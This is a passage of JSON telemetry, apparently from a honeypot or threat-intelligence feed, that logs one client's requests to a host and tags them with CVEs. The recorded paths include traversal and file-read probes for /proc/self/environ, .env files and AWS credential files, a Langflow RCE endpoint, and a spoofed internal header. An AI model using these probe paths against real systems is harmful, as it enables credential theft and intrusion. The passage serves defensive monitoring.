(https://duckduckgo.com/duckassistbot)","ja3":"d4a999544e585734b1edb21e115420d9","session":"d334fc44-4f1f-4a61-8a34-b9f2660aaf5d","seq":41,"duration_ms":8065,"bytes_in":23739,"bytes_out":3157}],"http_methods":[{"method":"GET","count":359},{"method":"POST","count":32}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":4,"ports":1},{"path":"/app","count":3,"ports":1},{"path":"/api","count":3,"ports":1},{"path":"/@fs/home/ubuntu/.aws/credentials?raw??","count":1,"ports":1},{"path":"/.env.prod","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///app/.env&environmentName=rsc","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc","count":1,"ports":1},{"path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/static/../../../a/../../../../proc/self/environ","count":1,"ports":1},{"path":"/api/system/fileView?file=/proc/self/environ","count":1,"ports":1},{"path":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","count":1,"ports":1},{"path":"/.env.development::$DATA?raw","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??","count":1,"ports":1},{"path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"pihole.chicago.vpnigo.de","count":391}],"top_hosts":[{"value":"pihole.chicago.vpnigo.de","count":391}],"top_alpns":[{"value":"h2, http/1.1","count":391}],"banners":[],"credentials":[{"username":"","password":"bypass","count":4}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent","X-Request-From"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"266","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"pihole.chicago.vpnigo.de","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","notable":false},{"name":"X-Request-From","value":"internal","notable":true}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/icons/.%2e/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"],"kev_date_added":"2025-10-09"},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[],"kev_date_added":"2026-03-25"},{"tag_id":"CVE-2026-46442","tag_type":"cve","title":"Flowise < 3.1.2 - node-custom-function Unauthorized RCE","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/node-custom-function","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2026-46442","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/security/advisories"],"kev_date_added":null},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"],"kev_date_added":null},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"],"kev_date_added":null}],"data_as_of":"2026-10-20T12:01:13.468793+00:00"}